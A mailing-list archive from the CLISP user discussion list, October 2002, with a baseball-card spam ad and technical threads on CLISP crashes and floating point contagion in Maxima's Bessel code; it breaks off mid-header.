X-MSMail-Priority: Normal X-Encoding: MIME X-Priority: 3 (Normal) Content-Type: multipart/alternative; boundary="----=_NextPart_204_345864250846" Content-Transfer-Encoding: 7BIT Importance: Normal Subject: [clisp-list] Free Mickey Mantle cards bonus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 6 23:47:01 2002 X-Original-Date: Mon, 07 Oct 2002 02:12:56 -0500 This is a multi-part message in MIME format. ------=_NextPart_204_345864250846 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit

MANTLE MANIA!

Mickey Mantle Mickey Mantle

Unbelievable prices on all original Baseball card sets, plus FREE cards with every order!
The perfect gift for yourself or for your Mickey Mantle/Major League Baseball card fan!


Satisfaction Guaranteed!

Order early for holiday delivery!
Supplies limited!

Click here for more information!

 


You received this message because you are on a preffered list, reference #1106474459. If you received this message in error, and if you no longer wish to receive e-mails from us please click on the following link. Take me off your list!

1-(866) 667-5399
NOUCE1
6822 22nd Avenue North
Saint Petersburg, FL, 33710-3918
------=_NextPart_204_345864250846 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7BIT

MANTLE MANIA!

Mickey Mantle Mickey Mantle

Unbelievable prices on all original Baseball card sets, plus FREE cards with every order!
The perfect gift for yourself or for your Mickey Mantle/Major League Baseball card fan!


Satisfaction Guaranteed!

Order early for holiday delivery!
Supplies limited!

Click here for more information!

 


You received this message because you are on a preffered list, reference #1106474459. If you received this message in error, and if you no longer wish to receive e-mails from us please click on the following link. Take me off your list!

1-(866) 667-5399
NOUCE1
6822 22nd Avenue North
Saint Petersburg, FL, 33710-3918
------=_NextPart_204_345864250846-- From goenzoy@gmx.net Mon Oct 07 08:03:09 2002 Received: from mx0.gmx.net ([213.165.64.100]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yZPX-0005UO-00 for ; Mon, 07 Oct 2002 08:03:07 -0700 Received: (qmail 16225 invoked by uid 0); 7 Oct 2002 15:02:57 -0000 From: Gottfried Zojer To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated-Sender: #0009295279@gmx.net X-Authenticated-IP: [193.196.166.161] Message-ID: <7253.1034002977@www37.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: [clisp-list] jacol Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 08:04:02 2002 X-Original-Date: Mon, 7 Oct 2002 17:02:57 +0200 (MEST) Hi, Is somebody using Lisp in combination with Java. I saw the tool jacol on sourceforge.Any feedback welcomed. Gottfried F. Zojer From sds@gnu.org Mon Oct 07 08:15:45 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yZbl-0008RA-00 for ; Mon, 07 Oct 2002 08:15:45 -0700 Received: (cpmta 11467 invoked from network); 7 Oct 2002 08:15:43 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 7 Oct 2002 08:15:43 -0700 X-Sent: 7 Oct 2002 15:15:43 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g97FFgE10781; Mon, 7 Oct 2002 11:15:42 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: fc@gnu.org (Fabricio Chalub) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP segfaults when loading parts of CLLIB? References: <85zntrtvsz.fsf@afx.raw.no-ip.com> <85y99b5tgf.fsf@afx.raw.no-ip.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <85y99b5tgf.fsf@afx.raw.no-ip.com> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 08:16:12 2002 X-Original-Date: 07 Oct 2002 11:15:42 -0400 > * In message <85y99b5tgf.fsf@afx.raw.no-ip.com> > * On the subject of "[clisp-list] Re: CLISP segfaults when loading parts of CLLIB?" > * Sent on 06 Oct 2002 15:10:40 -0300 > * Honorable fc@gnu.org (Fabricio Chalub) writes: > > > I tried loading the files individually, and some crash, others don't. > > log.lisp is one, rng.lisp also dies horribly. > > Hmm ... this behaviour is erratic on individual CLLIB files. The > problem can be safely reproduced on my system using MK:OOS 'CLLIB 'LOAD > only. Tried both 2.4.19-ac4 and 2.5.40 kernel versions. Since I cannot reproduce this behavior (with the current CVS), I will need your extensive help in debugging this. are you willing to do some heavy-duty gdb GC debugging? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux A professor is someone who talks in someone else's sleep. From sds@gnu.org Mon Oct 07 08:18:14 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yZeA-0000Gs-00 for ; Mon, 07 Oct 2002 08:18:14 -0700 Received: (cpmta 13411 invoked from network); 7 Oct 2002 08:18:08 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 7 Oct 2002 08:18:08 -0700 X-Sent: 7 Oct 2002 15:18:08 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g97FI7610786; Mon, 7 Oct 2002 11:18:07 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "Vadim V. Zhytnikov" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DA094CE.3060307@mail.ru> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 08:19:07 2002 X-Original-Date: 07 Oct 2002 11:18:07 -0400 > * In message <3DA094CE.3060307@mail.ru> > * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" > * Sent on Sun, 06 Oct 2002 22:53:50 +0300 > * Honorable "Vadim V. Zhytnikov" writes: > > Unfortunately this doesn't explain wrong numeric values which I get > for some special functions in Maxima with clisp 2.30 since the value > above is correct. note that BESSEL &co call explicit (FLOAT * 1.0) which can easily result in floating point contagion. again, _please_ supply me with an test example where a CLISP built-in function produces incorrect results (either WRT precision, of value or whatever). thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Murphy's Law was probably named after the wrong guy. From toy@rtp.ericsson.se Mon Oct 07 09:20:40 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yacY-00050g-00 for ; Mon, 07 Oct 2002 09:20:38 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g97GKYj26130; Mon, 7 Oct 2002 11:20:34 -0500 (CDT) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id g97GKYP07484; Mon, 7 Oct 2002 11:20:34 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id T4DXZZ3S; Mon, 7 Oct 2002 11:20:34 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.0]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id MAA04471; Mon, 7 Oct 2002 12:24:30 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g97GKWK06798; Mon, 7 Oct 2002 12:20:32 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: "Vadim V. Zhytnikov" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> From: Raymond Toy In-Reply-To: Message-ID: <4nd6qmb4q7.fsf@rtp.ericsson.se> Lines: 21 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (brussels sprouts) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 09:21:07 2002 X-Original-Date: 07 Oct 2002 12:20:32 -0400 >>>>> "Sam" == Sam Steingold writes: >> * In message <3DA094CE.3060307@mail.ru> >> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" >> * Sent on Sun, 06 Oct 2002 22:53:50 +0300 >> * Honorable "Vadim V. Zhytnikov" writes: >> >> Unfortunately this doesn't explain wrong numeric values which I get >> for some special functions in Maxima with clisp 2.30 since the value >> above is correct. Sam> note that BESSEL &co call explicit (FLOAT * 1.0) which can easily Sam> result in floating point contagion. Can you point out where that is? I can't find any such things in the current sources. Also, be aware that maxima defines (float x) to be (lisp::float x 1d0) somwhere. Very confusing until I realized that. Ray From sds@gnu.org Mon Oct 07 09:37:41 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yat3-00025f-00 for ; Mon, 07 Oct 2002 09:37:41 -0700 Received: (cpmta 11570 invoked from network); 7 Oct 2002 09:37:38 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 7 Oct 2002 09:37:38 -0700 X-Sent: 7 Oct 2002 16:37:38 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g97GbbE12750; Mon, 7 Oct 2002 12:37:37 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Raymond Toy Cc: "Vadim V. Zhytnikov" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> <4nd6qmb4q7.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nd6qmb4q7.fsf@rtp.ericsson.se> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 09:38:05 2002 X-Original-Date: 07 Oct 2002 12:37:37 -0400 > * In message <4nd6qmb4q7.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" > * Sent on 07 Oct 2002 12:20:32 -0400 > * Honorable Raymond Toy writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> note that BESSEL &co call explicit (FLOAT * 1.0) which can easily > Sam> result in floating point contagion. > > Can you point out where that is? I can't find any such things in the > current sources. I meant (FLOAT N) and (FLOAT (F* 2 N)) in (DEFUN BESSEL) in bessel.lisp > Also, be aware that maxima defines (float x) to be (lisp::float x 1d0) > somwhere. Very confusing until I realized that. yuk. this goes together with (re)defining TYPE-ERROR, LOOP-FINISH, IF &c. someone's gotta do a cleanup. at any rate, I would greatly appreciate some test cases (based on today's CVS). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux main(a){printf(a,34,a="main(a){printf(a,34,a=%c%s%c,34);}",34);} From toy@rtp.ericsson.se Mon Oct 07 09:46:44 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yb1n-0003vY-00 for ; Mon, 07 Oct 2002 09:46:43 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g97Gkgj07880; Mon, 7 Oct 2002 11:46:42 -0500 (CDT) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id g97GkgI16319; Mon, 7 Oct 2002 11:46:42 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id T4DXZ8F1; Mon, 7 Oct 2002 11:46:41 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.0]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id MAA05070; Mon, 7 Oct 2002 12:50:37 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g97Gkev06834; Mon, 7 Oct 2002 12:46:40 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: "Vadim V. Zhytnikov" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> <4nd6qmb4q7.fsf@rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4n7kgub3in.fsf@rtp.ericsson.se> Lines: 33 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (brussels sprouts) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 09:47:05 2002 X-Original-Date: 07 Oct 2002 12:46:40 -0400 >>>>> "Sam" == Sam Steingold writes: >> * In message <4nd6qmb4q7.fsf@rtp.ericsson.se> >> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" >> * Sent on 07 Oct 2002 12:20:32 -0400 >> * Honorable Raymond Toy writes: >> >> >>>>> "Sam" == Sam Steingold writes: >> Sam> note that BESSEL &co call explicit (FLOAT * 1.0) which can easily Sam> result in floating point contagion. >> >> Can you point out where that is? I can't find any such things in the >> current sources. Sam> I meant (FLOAT N) and (FLOAT (F* 2 N)) in (DEFUN BESSEL) in bessel.lisp I think these are ok because maxima redefines float. (Well, not really. This float is defined in the maxima package, not the lisp package.) >> Also, be aware that maxima defines (float x) to be (lisp::float x 1d0) >> somwhere. Very confusing until I realized that. Sam> yuk. Sam> this goes together with (re)defining TYPE-ERROR, LOOP-FINISH, IF &c. Sam> someone's gotta do a cleanup. I think that's slated for a later release. There are lots of silly issues like this such as macros redefined as functions and vice versa, wrong number of args in various places (maybe), and so on. Ray From toy@rtp.ericsson.se Mon Oct 07 09:48:55 2002 Received: from imr2.ericy.com ([198.24.6.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yb3u-0004A7-00 for ; Mon, 07 Oct 2002 09:48:54 -0700 Received: from mr6.exu.ericsson.se (mr6att.ericy.com [138.85.224.157]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id g97Gmmg25750; Mon, 7 Oct 2002 11:48:48 -0500 (CDT) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id g97GmmI17011; Mon, 7 Oct 2002 11:48:48 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id T4DXZ83Q; Mon, 7 Oct 2002 11:48:48 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.0]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id MAA05115; Mon, 7 Oct 2002 12:52:44 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g97Gmln06839; Mon, 7 Oct 2002 12:48:47 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: "Vadim V. Zhytnikov" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> <4nd6qmb4q7.fsf@rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4n3crib3f4.fsf@rtp.ericsson.se> Lines: 21 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (brussels sprouts) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 09:49:05 2002 X-Original-Date: 07 Oct 2002 12:48:47 -0400 >>>>> "Sam" == Sam Steingold writes: >> * In message <4nd6qmb4q7.fsf@rtp.ericsson.se> >> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" >> * Sent on 07 Oct 2002 12:20:32 -0400 >> * Honorable Raymond Toy writes: >> >> >>>>> "Sam" == Sam Steingold writes: >> Sam> note that BESSEL &co call explicit (FLOAT * 1.0) which can easily Sam> result in floating point contagion. >> >> Can you point out where that is? I can't find any such things in the >> current sources. Sam> I meant (FLOAT N) and (FLOAT (F* 2 N)) in (DEFUN BESSEL) in bessel.lisp Oh, what version are you looking at? I can't find (defun bessel ...) in bessel.lisp in my copy of the CVS sources. Ray From sds@gnu.org Mon Oct 07 09:56:18 2002 Received: from h024.c001.snv.cp.net ([209.228.32.139] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ybB4-0005sa-00 for ; Mon, 07 Oct 2002 09:56:18 -0700 Received: (cpmta 23885 invoked from network); 7 Oct 2002 09:56:15 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.139) with SMTP; 7 Oct 2002 09:56:15 -0700 X-Sent: 7 Oct 2002 16:56:15 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g97GuDe12772; Mon, 7 Oct 2002 12:56:13 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Raymond Toy Cc: "Vadim V. Zhytnikov" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> <4nd6qmb4q7.fsf@rtp.ericsson.se> <4n3crib3f4.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4n3crib3f4.fsf@rtp.ericsson.se> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 09:57:02 2002 X-Original-Date: 07 Oct 2002 12:56:13 -0400 > * In message <4n3crib3f4.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" > * Sent on 07 Oct 2002 12:48:47 -0400 > * Honorable Raymond Toy writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> I meant (FLOAT N) and (FLOAT (F* 2 N)) in (DEFUN BESSEL) in bessel.lisp > > Oh, what version are you looking at? I can't find (defun bessel ...) > in bessel.lisp in my copy of the CVS sources. RCS file: /home/cvs/maxima/maxima/src/bessel.lisp,v Working file: bessel.lisp head: 1.2 line 477 Root: :pserver:anonymous@cvs.math.utexas.edu:/home/cvs/maxima -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Your mouse has moved - WinNT has to be restarted for this to take effect. From sds@gnu.org Mon Oct 07 09:57:42 2002 Received: from h013.c001.snv.cp.net ([209.228.32.127] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ybCQ-00062C-00 for ; Mon, 07 Oct 2002 09:57:42 -0700 Received: (cpmta 1006 invoked from network); 7 Oct 2002 09:57:40 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.127) with SMTP; 7 Oct 2002 09:57:40 -0700 X-Sent: 7 Oct 2002 16:57:40 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g97Gvc212776; Mon, 7 Oct 2002 12:57:38 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Raymond Toy Cc: "Vadim V. Zhytnikov" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> <4nd6qmb4q7.fsf@rtp.ericsson.se> <4n7kgub3in.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4n7kgub3in.fsf@rtp.ericsson.se> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 09:58:07 2002 X-Original-Date: 07 Oct 2002 12:57:38 -0400 > * In message <4n7kgub3in.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" > * Sent on 07 Oct 2002 12:46:40 -0400 > * Honorable Raymond Toy writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> yuk. > Sam> this goes together with (re)defining TYPE-ERROR, LOOP-FINISH, IF &c. > Sam> someone's gotta do a cleanup. > > I think that's slated for a later release. There are lots of silly > issues like this such as macros redefined as functions and vice versa, > wrong number of args in various places (maybe), and so on. you will go a long way if you look at the CLISP warnings and eliminate them. Or give me CVS write access and I will do that. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Never succeed from the first try - if you do, nobody will think it was hard. From toy@rtp.ericsson.se Mon Oct 07 10:08:57 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ybNI-0007qK-00 for ; Mon, 07 Oct 2002 10:08:57 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g97H8sj17624; Mon, 7 Oct 2002 12:08:54 -0500 (CDT) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id g97H8sI23692; Mon, 7 Oct 2002 12:08:54 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id T4DX5ATZ; Mon, 7 Oct 2002 12:08:54 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.0]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id NAA05691; Mon, 7 Oct 2002 13:12:49 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g97H8rl06895; Mon, 7 Oct 2002 13:08:53 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: "Vadim V. Zhytnikov" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> <4nd6qmb4q7.fsf@rtp.ericsson.se> <4n3crib3f4.fsf@rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4nn0pq9nx8.fsf@rtp.ericsson.se> Lines: 29 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (brussels sprouts) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 10:09:08 2002 X-Original-Date: 07 Oct 2002 13:08:51 -0400 >>>>> "Sam" == Sam Steingold writes: >> * In message <4n3crib3f4.fsf@rtp.ericsson.se> >> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" >> * Sent on 07 Oct 2002 12:48:47 -0400 >> * Honorable Raymond Toy writes: >> >> >>>>> "Sam" == Sam Steingold writes: >> Sam> I meant (FLOAT N) and (FLOAT (F* 2 N)) in (DEFUN BESSEL) in bessel.lisp >> >> Oh, what version are you looking at? I can't find (defun bessel ...) >> in bessel.lisp in my copy of the CVS sources. Sam> RCS file: /home/cvs/maxima/maxima/src/bessel.lisp,v Sam> Working file: bessel.lisp Sam> head: 1.2 Sam> line 477 Sam> Root: :pserver:anonymous@cvs.math.utexas.edu:/home/cvs/maxima Ok, that explains it. The maxima code has moved to maxima.sourceforge.net. A lot of the issues you've mentioned, however, still exist there. I think the fixes you're interested in are meant for something after the imminent 5.9.0 release. 5.9.0 is just an "update" to 5.6 so that clisp, gcl, and cmucl can build maxima. Ray From vvzhy@mail.ru Mon Oct 07 13:16:36 2002 Received: from mx7.mail.ru ([194.67.57.17]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yeIq-00050T-00 for ; Mon, 07 Oct 2002 13:16:32 -0700 Received: from drweb by mx7.mail.ru with drweb-scanned (Exim MX.7) id 17yeIg-0006iv-00; Tue, 08 Oct 2002 00:16:22 +0400 Received: from [213.247.176.34] (helo=mail.ru) by mx7.mail.ru with esmtp (Exim SMTP.7) id 17yeIc-0006dQ-00; Tue, 08 Oct 2002 00:16:18 +0400 Message-ID: <3DA1F966.7090101@yandex.ru> From: "Vadim V. Zhytnikov" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.0.0) Gecko/20020526 X-Accept-Language: ru, en 